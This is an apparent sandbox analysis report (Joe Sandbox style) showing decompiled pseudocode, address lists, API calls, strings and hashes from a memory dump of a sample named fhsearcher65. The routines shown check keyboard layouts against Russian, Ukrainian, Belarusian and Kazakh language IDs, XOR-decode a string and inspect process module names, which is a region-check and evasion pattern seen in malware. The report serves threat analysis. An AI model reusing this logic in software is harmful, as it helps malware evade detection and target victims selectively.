				_push(0xffffffff);
				_push(0x42c922);
				_push( *[fs:0x0]);
				_push(_t220);
				_t294 = _t293 - 0x630;
				_t130 =  *0x43d054; // 0xd71f2cec
				_t131 = _t130 ^ _t284;
				_v32 = _t131;
				_push(_t131);
				 *[fs:0x0] =  &_v24;
				_t274 = __ecx;
				_v1568 = __ecx;
				_v1608 = __ecx;
				asm("xorps xmm0, xmm0");
				_v1572 = 0;
				asm("movq [esi], xmm0");
				__ecx[2] = 0;
				 *__ecx = 0;
				__ecx[1] = 0;
				__ecx[2] = 0;
				_v16 = 0;
				_v1572 = 1;
				_t134 = GetKeyboardLayoutList(0x400,  &_v1564);
				_t267 = 0;
				_v1568 = _t134;
				if(_t134 <= 0) {
					L12:
					 *[fs:0x0] = _v24;
					_pop(_t268);
					_pop(_t275);
					return E0040EF6F(_t274, _t220, _v32 ^ _t284, _t259, _t268, _t275);
				} else {
					do {
						_t137 =  *(_t284 + _t267 * 4 - 0x610) & 0x0000ffff;
						_v1576 = _t137;
						GetLocaleInfoA(_t137, 2,  &_v540, 0x1f4); // executed
						_t139 =  &_v540;
						_v1604 = 0;
						_v1588 = 0;
						_t260 = _t139 + 1;
						_v1584 = 0xf;
						_v1604 = 0;
						do {
							_t232 =  *_t139;
							_t139 = _t139 + 1;
						} while (_t232 != 0);
						E004026B0(_t220,  &_v1604,  &_v540, _t139 - _t260);
						_t234 = _v1576;
						_v1580 = _t234;
						_v16 = 1;
						_t143 =  *((intOrPtr*)(_t274 + 4));
						if(_t143 ==  *((intOrPtr*)(_t274 + 8))) {
							_push( &_v1604);
							_push(_t143);
							E0040CFF0(_t220, _t274, _t267, _t274);
							_t259 = _v1584;
						} else {
							asm("movups xmm0, [ebp-0x638]");
							_t259 = 0xf;
							_v1604 = 0;
							asm("movups [eax], xmm0");
							asm("movq xmm0, [ebp-0x628]");
							asm("movq [eax+0x10], xmm0");
							 *(_t143 + 0x18) = _t234;
							 *((intOrPtr*)(_t274 + 4)) =  *((intOrPtr*)(_t274 + 4)) + 0x1c;
						}
						_v16 = 0;
						if(_t259 < 0x10) {
							goto L11;
						} else {
							_t237 = _v1604;
							_t259 = _t259 + 1;
							_t145 = _t237;
							if(_t259 < 0x1000) {
								L10:
								_push(_t259);
								E0040F1B0(_t237);
								_t294 = _t294 + 8;
								goto L11;
							} else {
								_t237 =  *(_t237 - 4);
								_t259 = _t259 + 0x23;
								if(_t145 - _t237 + 0xfffffffc > 0x1f) {
									E004138D7(_t220, _t259, __eflags);
									asm("int3");
									_push(_t284);
									_t286 = _t294;
									_push(0xffffffff);
									_push(0x42c965);
									_push( *[fs:0x0]);
									_t297 = _t294 - 0x5c;
									_t151 =  *0x43d054; // 0xd71f2cec
									_t152 = _t151 ^ _t286;
									_v1640 = _t152;
									_push(_t220);
									_push(_t274);
									_push(_t267);
									_push(_t152);
									 *[fs:0x0] =  &_v1636;
									_t222 = 0;
									_t238 =  &_v1660;
									asm("xorps xmm0, xmm0");
									_v1696 = 0;
									asm("movq [ebp-0x24], xmm0");
									_v1652 = 0;
									E00404D40(0, _t238); // executed
									_v1628 = 0;
									_t155 = _v1656;
									_t269 = _v1660;
									_v1700 = _t155;
									__eflags = _t269 - _t155;
									if(_t269 == _t155) {
										L41:
										_t223 = 0;
										__eflags = 0;
										goto L42;
									} else {
										_v40 = 0x5d5d5b7c;
										_v36 = 0x2e404f47;
										_t281 =  *((intOrPtr*)( *[fs:0x2c]));
										_v96 = _t281;
										do {
											E0040BF40(_t222,  &_v80, _t259, _t269, _t269);
											_v56 =  *((intOrPtr*)(_t269 + 0x18));
											_v20 = 1;
											_t188 =  *0x45104c;
											__eflags =  *0x45104c -  *((intOrPtr*)(_t281 + 4));
											if( *0x45104c >  *((intOrPtr*)(_t281 + 4))) {
												E0040F2F9(_t188, 0x45104c);
												_t297 = _t297 + 4;
												__eflags =  *0x45104c - 0xffffffff;
												if(__eflags == 0) {
													_t62 =  &_v40; // 0x5d5d5b7c
													 *0x450d40 =  *_t62;
													_t63 =  &_v36; // 0x2e404f47
													 *0x450d44 =  *_t63;
													E0040F60B( &_v80, __eflags, 0x42d300);
													E0040F2AF(0x45104c);
													_t297 = _t297 + 8;
												}
											}
											_t189 =  *0x450d47; // 0x0
											__eflags = _t189;
											if(_t189 != 0) {
												 *0x450d40 =  *0x450d40 ^ 0x0000002e;
												 *0x450d41 =  *0x450d41 ^ 0x0000002e;
												 *0x450d42 =  *0x450d42 ^ 0x0000002e;
												 *0x450d43 =  *0x450d43 ^ 0x0000002e;
												 *0x450d44 =  *0x450d44 ^ 0x0000002e;
												 *0x450d45 =  *0x450d45 ^ 0x0000002e;
												 *0x450d46 =  *0x450d46 ^ 0x0000002e;
												_t213 = _t189 ^ 0x0000002e;
												__eflags = _t213;
												 *0x450d47 = _t213;
											}
											_t190 = 0x450d40;
											_v120 = 0;
											_v104 = 0;
											_v100 = 0xf;
											_t67 =  &(_t190[1]); // 0x450d41
											_t265 = _t67;
											do {
												_t255 =  *_t190;
												_t190 =  &(_t190[1]);
												__eflags = _t255;
											} while (_t255 != 0);
											E004026B0(_t222,  &_v120, 0x450d40, _t190 - _t265);
											_t274 = _v80;
											_t259 = _v64;
											__eflags = _v100 - 0x10;
											_v88 = _t222 | 0x00000001;
											_t223 = _v120;
											_t194 =  >=  ? _t223 :  &_v120;
											__eflags = _v60 - 0x10;
											_t238 =  >=  ? _t274 :  &_v80;
											_t195 = E00402890(_t238, _t259, _t238,  >=  ? _t223 :  &_v120, _v104);
											_t297 = _t297 + 0xc;
											__eflags = _t195 - 0xffffffff;
											if(_t195 != 0xffffffff) {
												L25:
												_v81 = 1;
											} else {
												__eflags = _v60 - 0x10;
												_t259 = _v64;
												_t238 =  >=  ? _t274 :  &_v80;
												_t212 = E00402890(_t238, _t259, _t238, 0x439a6c, 7);
												_t297 = _t297 + 0xc;
												_v81 = 0;
												__eflags = _t212 - 0xffffffff;
												if(_t212 != 0xffffffff) {
													goto L25;
												}
											}
											_v88 = _v88 & 0xfffffffe;
											_t196 = _v100;
											__eflags = _t196 - 0x10;
											if(_t196 < 0x10) {
												L30:
												__eflags = _v81;
												if(_v81 != 0) {
													L46:
													_t197 = _v60;
													__eflags = _t197 - 0x10;
													if(_t197 < 0x10) {
														L50:
														_t269 = _v52;
														_t223 = 1;
														L42:
														__eflags = _t269;
														if(_t269 == 0) {
															L52:
															 *[fs:0x0] = _v28;
															_pop(_t270);
															_pop(_t276);
															_pop(_t224);
															__eflags = _v32 ^ _t286;
															return E0040EF6F(_t223, _t224, _v32 ^ _t286, _t259, _t270, _t276);
														} else {
															_push(_t238);
															E0040D730(_t269, _v48, _t269, _t274);
															_t277 = _v52;
															_t299 = _t297 + 4;
															_t259 = (0x92492493 * (_v44 - _t277) >> 0x20) + _v44 - _t277 >> 4;
															_t164 = _t277;
															_t248 = ((_t259 >> 0x1f) + _t259) * 8 - (_t259 >> 0x1f) + _t259 << 2;
															__eflags = _t248 - 0x1000;
															if(_t248 < 0x1000) {
																L51:
																_push(_t248);
																E0040F1B0(_t277);
																goto L52;
															} else {
																_t277 =  *((intOrPtr*)(_t277 - 4));
																_t248 = _t248 + 0x23;
																__eflags = _t164 - _t277 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	E004138D7(_t223, _t259, __eflags);
																	goto L54;
																} else {
																	goto L51;
																}
															}
														}
													} else {
														_t109 = _t197 + 1; // 0x11
														_t238 = _t109;
														_t198 = _t274;
														__eflags = _t238 - 0x1000;
														if(_t238 < 0x1000) {
															L49:
															_push(_t238);
															E0040F1B0(_t274);
															_t297 = _t297 + 8;
															goto L50;
														} else {
															_t277 =  *((intOrPtr*)(_t274 - 4));
															_t248 = _t238 + 0x23;
															__eflags = _t198 - _t277 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L54;
															} else {
																goto L49;
															}
														}
													}
												} else {
													_t202 = _v56;
													__eflags = _t202 - 0x419;
													if(_t202 == 0x419) {
														goto L46;
													} else {
														__eflags = _t202 - 0x422;
														if(_t202 == 0x422) {
															goto L46;
														} else {
															__eflags = _t202 - 0x423;
															if(_t202 == 0x423) {
																goto L46;
															} else {
																__eflags = _t202 - 0x43f;
																if(_t202 == 0x43f) {
																	goto L46;
																} else {
																	_v20 = 0;
																	_t203 = _v60;
																	__eflags = _t203 - 0x10;
																	if(_t203 < 0x10) {
																		goto L39;
																	} else {
																		_t93 = _t203 + 1; // 0x11
																		_t238 = _t93;
																		_t204 = _t274;
																		__eflags = _t238 - 0x1000;
																		if(_t238 < 0x1000) {
																			L38:
																			_push(_t238);
																			E0040F1B0(_t274);
																			_t297 = _t297 + 8;
																			goto L39;
																		} else {
																			_t277 =  *((intOrPtr*)(_t274 - 4));
																			_t248 = _t238 + 0x23;
																			__eflags = _t204 - _t277 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L54;
																			} else {
																				goto L38;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											} else {
												_t86 = _t196 + 1; // 0x11
												_t238 = _t86;
												_t208 = _t223;
												__eflags = _t238 - 0x1000;
												if(_t238 < 0x1000) {
													L29:
													_push(_t238);
													E0040F1B0(_t223);
													_t274 = _v80;
													_t297 = _t297 + 8;
													goto L30;
												} else {
													_t223 =  *(_t223 - 4);
													_t248 = _t238 + 0x23;
													__eflags = _t208 - _t223 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														L54:
														E004138D7(_t223, _t259, __eflags);
														asm("int3");
														asm("int3");
														_push(_t286);
														_t288 = _t299;
														_t170 =  *0x43d054; // 0xd71f2cec
														_v1752 = _t170 ^ _t288;
														_push(_t277);
														_push(_t269);
														_t271 = _t248;
														_v2020 = _t271;
														_v2020 = _t271;
														_t172 =  *0x439a7c; // 0x3e
														asm("movq xmm0, [0x439a74]");
														_v2004 = _t172;
														asm("movq [ebp-0x108], xmm0");
														E00410EB0(_t271,  &_v2002, 0, 0xfa);
														_t279 = OpenProcess(0x410, 0, _t259);
														__eflags = _t279;
														if(_t279 != 0) {
															_t183 =  &_v292;
															__imp__K32EnumProcessModules(_t279, _t183, 4,  &_v288); // executed
															__eflags = _t183;
															if(_t183 != 0) {
																__imp__K32GetModuleBaseNameA(_t279, _v292,  &_v284, 0x104); // executed
															}
														}
														FindCloseChangeNotification(_t279); // executed
														_t249 =  &_v284;
														 *_t271 = 0;
														_t271[4] = 0;
														_t264 = _t249 + 1;
														_t271[5] = 0xf;
														 *_t271 = 0;
														do {
															_t177 =  *_t249;
															_t249 = _t249 + 1;
															__eflags = _t177;
														} while (_t177 != 0);
														E004026B0(_t223, _t271,  &_v284, _t249 - _t264);
														_pop(_t272);
														__eflags = _v24 ^ _t288;
														_pop(_t280);
														return E0040EF6F(_t271, _t223, _v24 ^ _t288, _t264, _t272, _t280);
													} else {
														goto L29;
													}
												}
											}
											goto L61;
											L39:
											_t222 = _v88;
											_t269 = _t269 + 0x1c;
											_t281 = _v96;
											__eflags = _t269 - _v92;
										} while (_t269 != _v92);
										_t269 = _v52;
										goto L41;
									}
								} else {
									goto L10;
								}
							}
						}
						goto L61;
						L11:
						_t267 = _t267 + 1;
					} while (_t267 < _v1568);
					goto L12;
				}
				L61:
			}

0x00404d40
0x00404d41
0x00404d49
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
0x00404ec9
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00000000
0x00404df0
0x00000000

APIs

GetKeyboardLayoutList.USER32(00000400,?,D71F2CEC), ref: 00404DD8
GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D
__Init_thread_footer.LIBCMT ref: 00404FE8

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

Strings

GO@., xrefs: 00404F84
|[]], xrefs: 00404F7D
|[]]GO@., xrefs: 00404FC6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterInfoInit_thread_footerKeyboardLayoutLeaveListLocaleVariableWake
String ID: GO@.$|[]]$|[]]GO@.
API String ID: 4140350330-2383573185
Opcode ID: 47e3771a7ac9ee68627d902dde934f1d9a25b6f172942966032569d761c67e9b
Instruction ID: f0456000cdb59fded0e09e95f4f3a31a1042631ee8cd5e4a9fa9e19899ac32a9
Opcode Fuzzy Hash: 47e3771a7ac9ee68627d902dde934f1d9a25b6f172942966032569d761c67e9b
Instruction Fuzzy Hash: 78E1D371D002588BDB24CF68D9847DEB7B1EF45314F14417AE405BB2C2DB79AA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404F20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 218
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00404F20(void* __ebx, void* __eflags) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				long _v52;
				char _v68;
				char _v69;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				int _v88;
				int _v92;
				int _v108;
				signed int _v132;
				char _v272;
				char _v276;
				char _v280;
				char _v382;
				short _v384;
				int* _v400;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t86;
				signed int _t87;
				intOrPtr _t90;
				intOrPtr _t99;
				signed int _t105;
				short _t107;
				signed int _t112;
				signed int _t118;
				signed char _t124;
				signed char* _t125;
				void* _t130;
				int _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				int _t143;
				void* _t147;
				signed int _t155;
				int _t156;
				void* _t157;
				char* _t159;
				signed int _t169;
				intOrPtr* _t170;
				signed char _t176;
				long _t180;
				void* _t184;
				signed char* _t185;
				intOrPtr _t187;
				void* _t188;
				int* _t189;
				void* _t190;
				char _t191;
				void* _t192;
				intOrPtr _t193;
				void* _t195;
				void* _t196;
				intOrPtr _t197;
				signed int _t198;
				signed int _t199;
				void* _t200;
				void* _t201;
				signed int _t202;

				_push(0xffffffff);
				_push(0x42c965);
				_push( *[fs:0x0]);
				_t201 = _t200 - 0x5c;
				_t86 =  *0x43d054; // 0xd71f2cec
				_t87 = _t86 ^ _t198;
				_v20 = _t87;
				_push(__ebx);
				_push(_t191);
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_t155 = 0;
				_t159 =  &_v40;
				asm("xorps xmm0, xmm0");
				_v76 = 0;
				asm("movq [ebp-0x24], xmm0");
				_v32 = 0;
				E00404D40(0, _t159); // executed
				_v8 = 0;
				_t90 = _v36;
				_t187 = _v40;
				_v80 = _t90;
				if(_t187 == _t90) {
					L27:
					_t156 = 0;
					goto L28;
				} else {
					_v28 = 0x5d5d5b7c;
					_v24 = 0x2e404f47;
					_t197 =  *((intOrPtr*)( *[fs:0x2c]));
					_v84 = _t197;
					do {
						E0040BF40(_t155,  &_v68, _t180, _t187, _t187);
						_v44 =  *((intOrPtr*)(_t187 + 0x18));
						_v8 = 1;
						_t123 =  *0x45104c;
						if( *0x45104c >  *((intOrPtr*)(_t197 + 4))) {
							E0040F2F9(_t123, 0x45104c);
							_t201 = _t201 + 4;
							_t210 =  *0x45104c - 0xffffffff;
							if( *0x45104c == 0xffffffff) {
								_t18 =  &_v28; // 0x5d5d5b7c
								 *0x450d40 =  *_t18;
								_t19 =  &_v24; // 0x2e404f47
								 *0x450d44 =  *_t19;
								E0040F60B( &_v68, _t210, 0x42d300);
								E0040F2AF(0x45104c);
								_t201 = _t201 + 8;
							}
						}
						_t124 =  *0x450d47; // 0x0
						if(_t124 != 0) {
							 *0x450d40 =  *0x450d40 ^ 0x0000002e;
							 *0x450d41 =  *0x450d41 ^ 0x0000002e;
							 *0x450d42 =  *0x450d42 ^ 0x0000002e;
							 *0x450d43 =  *0x450d43 ^ 0x0000002e;
							 *0x450d44 =  *0x450d44 ^ 0x0000002e;
							 *0x450d45 =  *0x450d45 ^ 0x0000002e;
							 *0x450d46 =  *0x450d46 ^ 0x0000002e;
							 *0x450d47 = _t124 ^ 0x0000002e;
						}
						_t125 = 0x450d40;
						_v108 = 0;
						_v92 = 0;
						_v88 = 0xf;
						_t23 =  &(_t125[1]); // 0x450d41
						_t185 = _t23;
						do {
							_t176 =  *_t125;
							_t125 =  &(_t125[1]);
						} while (_t176 != 0);
						E004026B0(_t155,  &_v108, 0x450d40, _t125 - _t185);
						_t191 = _v68;
						_t180 = _v52;
						_v76 = _t155 | 0x00000001;
						_t156 = _v108;
						_t129 =  >=  ? _t156 :  &_v108;
						_t159 =  >=  ? _t191 :  &_v68;
						_t130 = E00402890(_t159, _t180, _t159,  >=  ? _t156 :  &_v108, _v92);
						_t201 = _t201 + 0xc;
						if(_t130 != 0xffffffff) {
							L11:
							_v69 = 1;
						} else {
							_t180 = _v52;
							_t159 =  >=  ? _t191 :  &_v68;
							_t147 = E00402890(_t159, _t180, _t159, 0x439a6c, 7);
							_t201 = _t201 + 0xc;
							_v69 = 0;
							if(_t147 != 0xffffffff) {
								goto L11;
							}
						}
						_v76 = _v76 & 0xfffffffe;
						_t131 = _v88;
						if(_t131 < 0x10) {
							L16:
							if(_v69 != 0) {
								L32:
								_t132 = _v48;
								__eflags = _t132 - 0x10;
								if(_t132 < 0x10) {
									L36:
									_t187 = _v40;
									_t156 = 1;
									L28:
									if(_t187 == 0) {
										L38:
										 *[fs:0x0] = _v16;
										_pop(_t188);
										_pop(_t192);
										_pop(_t157);
										return E0040EF6F(_t156, _t157, _v20 ^ _t198, _t180, _t188, _t192);
									} else {
										_push(_t159);
										E0040D730(_t187, _v36, _t187, _t191);
										_t193 = _v40;
										_t202 = _t201 + 4;
										_t180 = (0x92492493 * (_v32 - _t193) >> 0x20) + _v32 - _t193 >> 4;
										_t99 = _t193;
										_t169 = ((_t180 >> 0x1f) + _t180) * 8 - (_t180 >> 0x1f) + _t180 << 2;
										if(_t169 < 0x1000) {
											L37:
											_push(_t169);
											E0040F1B0(_t193);
											goto L38;
										} else {
											_t193 =  *((intOrPtr*)(_t193 - 4));
											_t169 = _t169 + 0x23;
											if(_t99 - _t193 + 0xfffffffc > 0x1f) {
												E004138D7(_t156, _t180, __eflags);
												goto L40;
											} else {
												goto L37;
											}
										}
									}
								} else {
									_t65 = _t132 + 1; // 0x11
									_t159 = _t65;
									_t133 = _t191;
									__eflags = _t159 - 0x1000;
									if(_t159 < 0x1000) {
										L35:
										_push(_t159);
										E0040F1B0(_t191);
										_t201 = _t201 + 8;
										goto L36;
									} else {
										_t193 =  *((intOrPtr*)(_t191 - 4));
										_t169 = _t159 + 0x23;
										__eflags = _t133 - _t193 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L40;
										} else {
											goto L35;
										}
									}
								}
							} else {
								_t137 = _v44;
								if(_t137 == 0x419 || _t137 == 0x422 || _t137 == 0x423 || _t137 == 0x43f) {
									goto L32;
								} else {
									_v8 = 0;
									_t138 = _v48;
									if(_t138 < 0x10) {
										goto L25;
									} else {
										_t49 = _t138 + 1; // 0x11
										_t159 = _t49;
										_t139 = _t191;
										if(_t159 < 0x1000) {
											L24:
											_push(_t159);
											E0040F1B0(_t191);
											_t201 = _t201 + 8;
											goto L25;
										} else {
											_t193 =  *((intOrPtr*)(_t191 - 4));
											_t169 = _t159 + 0x23;
											if(_t139 - _t193 + 0xfffffffc > 0x1f) {
												goto L40;
											} else {
												goto L24;
											}
										}
									}
								}
							}
						} else {
							_t42 = _t131 + 1; // 0x11
							_t159 = _t42;
							_t143 = _t156;
							if(_t159 < 0x1000) {
								L15:
								_push(_t159);
								E0040F1B0(_t156);
								_t191 = _v68;
								_t201 = _t201 + 8;
								goto L16;
							} else {
								_t156 =  *(_t156 - 4);
								_t169 = _t159 + 0x23;
								if(_t143 - _t156 + 0xfffffffc > 0x1f) {
									L40:
									E004138D7(_t156, _t180, __eflags);
									asm("int3");
									asm("int3");
									_push(_t198);
									_t199 = _t202;
									_t105 =  *0x43d054; // 0xd71f2cec
									_v132 = _t105 ^ _t199;
									_push(_t193);
									_push(_t187);
									_t189 = _t169;
									_v400 = _t189;
									_v400 = _t189;
									_t107 =  *0x439a7c; // 0x3e
									asm("movq xmm0, [0x439a74]");
									_v384 = _t107;
									asm("movq [ebp-0x108], xmm0");
									E00410EB0(_t189,  &_v382, 0, 0xfa);
									_t195 = OpenProcess(0x410, 0, _t180);
									__eflags = _t195;
									if(_t195 != 0) {
										_t118 =  &_v280;
										__imp__K32EnumProcessModules(_t195, _t118, 4,  &_v276); // executed
										__eflags = _t118;
										if(_t118 != 0) {
											__imp__K32GetModuleBaseNameA(_t195, _v280,  &_v272, 0x104); // executed
										}
									}
									FindCloseChangeNotification(_t195); // executed
									_t170 =  &_v272;
									 *_t189 = 0;
									_t189[4] = 0;
									_t184 = _t170 + 1;
									_t189[5] = 0xf;
									 *_t189 = 0;
									do {
										_t112 =  *_t170;
										_t170 = _t170 + 1;
										__eflags = _t112;
									} while (_t112 != 0);
									E004026B0(_t156, _t189,  &_v272, _t170 - _t184);
									_pop(_t190);
									__eflags = _v12 ^ _t199;
									_pop(_t196);
									return E0040EF6F(_t189, _t156, _v12 ^ _t199, _t184, _t190, _t196);
								} else {
									goto L15;
								}
							}
						}
						goto L47;
						L25:
						_t155 = _v76;
						_t187 = _t187 + 0x1c;
						_t197 = _v84;
					} while (_t187 != _v80);
					_t187 = _v40;
					goto L27;
				}
				L47:
			}

0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f71
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405062
0x0040506a
0x00405070
0x0040507d
0x00405080
0x00405083
0x0040508b
0x0040508f
0x00405094
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050d0
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x00405112
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x00405150
0x00405166
0x00405166
